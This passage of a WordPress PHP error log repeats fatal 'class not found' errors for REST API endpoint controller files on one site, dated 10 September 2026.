"WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [10-Sep-2026 13:41:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [10-Sep-2026 13:41:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [10-Sep-2026 13:41:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [10-Sep-2026 13:42:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [10-Sep-2026 13:44:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [10-Sep-2026 13:44:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [10-Sep-2026 13:44:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [10-Sep-2026 13:44:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [10-Sep-2026 13:44:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [10-Sep-2026 13:44:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [10-Sep-2026 13:44:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [10-Sep-2026 13:44:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [10-Sep-2026 13:44:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [10-Sep-2026 13:44:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [10-Sep-2026 13:45:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [10-Sep-2026 13:46:06 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [10-Sep-2026 13:46:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [10-Sep-2026 13:46:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [10-Sep-2026 13:46:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [10-Sep-2026 13:46:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [10-Sep-2026 13:47:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [10-Sep-2026 13:47:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [10-Sep-2026 13:47:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [10-Sep-2026 13:47:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [10-Sep-2026 13:48:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [10-Sep-2026 13:48:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [10-Sep-2026 13:48:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [10-Sep-2026 13:49:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [10-Sep-2026 13:50:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [10-Sep-2026 13:50:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [10-Sep-2026 13:52:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [10-Sep-2026 13:53:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [10-Sep-2026 13:55:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [10-Sep-2026 13:57:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [10-Sep-2026 13:57:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [10-Sep-2026 13:57:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [10-Sep-2026 13:57:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [10-Sep-2026 13:57:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [10-Sep-2026 13:57:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [10-Sep-2026 13:57:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [10-Sep-2026 13:57:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [10-Sep-2026 13:57:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [10-Sep-2026 13:58:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [10-Sep-2026 13:58:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [10-Sep-2026 13:58:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [10-Sep-2026 13:58:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [10-Sep-2026 13:58:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [10-Sep-2026 13:58:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [10-Sep-2026 13:58:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [10-Sep-2026 13:59:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [10-Sep-2026 13:59:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [10-Sep-2026 13:59:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [10-Sep-2026 13:59:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [10-Sep-2026 14:00:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [10-Sep-2026 14:00:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [10-Sep-2026 14:00:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [10-Sep-2026 14:01:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [10-Sep-2026 14:02:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [10-Sep-2026 14:02:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [10-Sep-2026 14:04:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [10-Sep-2026 14:04:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [10-Sep-2026 14:06:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [10-Sep-2026 14:21:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [10-Sep-2026 14:31:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [10-Sep-2026 14:33:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [10-Sep-2026 14:36:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 [10-Sep-2026 14:43:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [10-Sep-2026 14:46:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 [10-Sep-2026 14:59:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php on line 19 [10-Sep-2026 15:10:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php on line 19 [10-Sep-2026 21:40:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [10-Sep-2026 21:40:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [10-Sep-2026 21:40:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [10-Sep-2026 21:40:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [10-Sep-2026 21:40:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [10-Sep-2026 21:40:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [10-Sep-2026 21:40:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [10-Sep-2026 21:40:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [10-Sep-2026 21:41:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [10-Sep-2026 21:41:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in 